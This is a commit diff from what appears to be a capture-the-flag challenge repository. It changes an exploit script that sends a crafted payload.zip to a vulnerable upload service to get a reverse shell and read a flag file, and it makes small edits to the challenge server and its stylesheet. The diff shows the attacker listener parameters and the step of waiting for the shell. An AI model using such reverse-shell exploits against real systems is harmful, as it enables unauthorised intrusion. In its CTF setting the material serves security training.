Add more generic params
This commit is contained in:
parent
2fa66f3860
commit
f9d73bfb68
3 changed files with 5 additions and 10 deletions
|
|
@ -8,12 +8,12 @@ import zipfile
|
||||||
##############
|
##############
|
||||||
|
|
||||||
# Victim params
|
# Victim params
|
||||||
ip = "127.0.0.1"
|
ip = "X.X.X.X"
|
||||||
port = 5000
|
port = 5000
|
||||||
url = f"http://{ip}:{port}/upload"
|
url = f"http://{ip}:{port}/upload"
|
||||||
|
|
||||||
# Reverse shell params
|
# Reverse shell params
|
||||||
my_ip = "127.0.0.1"
|
my_ip = "X.X.X.X"
|
||||||
my_port = 9001
|
my_port = 9001
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -127,6 +127,7 @@ with open("payload.zip", "wb") as zipf:
|
||||||
|
|
||||||
print("payload.zip patched")
|
print("payload.zip patched")
|
||||||
print("You can start listening on port ", str(my_port))
|
print("You can start listening on port ", str(my_port))
|
||||||
|
print("Once you get the shell, `cat ~/flag.txt`")
|
||||||
input("Press any key when you are ready...")
|
input("Press any key when you are ready...")
|
||||||
print("Sending payload...")
|
print("Sending payload...")
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -38,9 +38,9 @@ def upload():
|
||||||
|
|
||||||
except:
|
except:
|
||||||
print("Restarting mineziper service", file=sys.stdout)
|
print("Restarting mineziper service", file=sys.stdout)
|
||||||
os.system("killall mineziperd")
|
os.system("pkill mineziperd")
|
||||||
os.system("~/mineziperd &")
|
os.system("~/mineziperd &")
|
||||||
time.sleep(1)
|
time.sleep(5)
|
||||||
|
|
||||||
s.send(pack("I", len(buf)))
|
s.send(pack("I", len(buf)))
|
||||||
s.send(buf)
|
s.send(buf)
|
||||||
|
|
|
||||||
|
|
@ -26,12 +26,6 @@ form {
|
||||||
text-align: center;
|
text-align: center;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/* Hide the default file input button */
|
/* Hide the default file input button */
|
||||||
input[type="file"] {
|
input[type="file"] {
|
||||||
display: none;
|
display: none;
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue